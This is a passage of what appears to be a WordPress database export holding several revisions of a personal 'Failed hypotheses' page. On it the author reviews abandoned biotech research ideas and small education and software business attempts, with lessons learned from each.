never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://get21stnight.com\" data-type=\"URL\" data-id=\"http://get21stnight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed:</strong> Educational apps are rough. There\'s not a lot of money in them, and especially not a lot of money for anything other than content. Also, my lack of programming ability made development slow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>If you\'re going to succeed with apps, you should be able to program so you\'re not reliant on someone else for velocity. Also, apps are not a business for me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed projects','','publish','closed','closed','','failed-hypotheses','','','2025-07-03 17:52:26','2025-07-03 17:52:26','',0,'https://trevorklee.com/?page_id=12',0,'page','',0),
(13,1,'2021-03-07 01:33:46','2021-03-07 01:33:46','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->','Failed hypotheses','','inherit','closed','closed','','12-revision-v1','','','2021-03-07 01:33:46','2021-03-07 01:33:46','',12,'https://trevorklee.com/2021/03/07/12-revision-v1/',0,'revision','',0),
(15,1,'2021-03-07 16:14:54','2021-03-07 16:14:54','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed hypotheses','','inherit','closed','closed','','12-revision-v1','','','2021-03-07 16:14:54','2021-03-07 16:14:54','',12,'https://trevorklee.com/2021/03/07/12-revision-v1/',0,'revision','',0),
(18,1,'2021-03-07 16:32:55','2021-03-07 16:32:55','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Using RNAi for agriculture</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: RNAi can be used to delete any RNA strands that it matches with. It could be used as an agricultural technique for pesky pests. For example, oysters are often devastated by herpes. Infecting the oysters with a bacteria that produces RNAi to target the RNA of herpes could be effective prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are a lot of pretty amazing papers showing the use of RNAi against various types of pests. The original one I saw showed RNAi being effectively used in honeybees against the agents responsible for colony collapse disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: there are a lot of RNAi companies that have tried and failed. I think it\'s a combination of a mess of patents, difficulty with scaling up RNA production to be cost effective, and the caution people have for \"genetic engineering\". </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 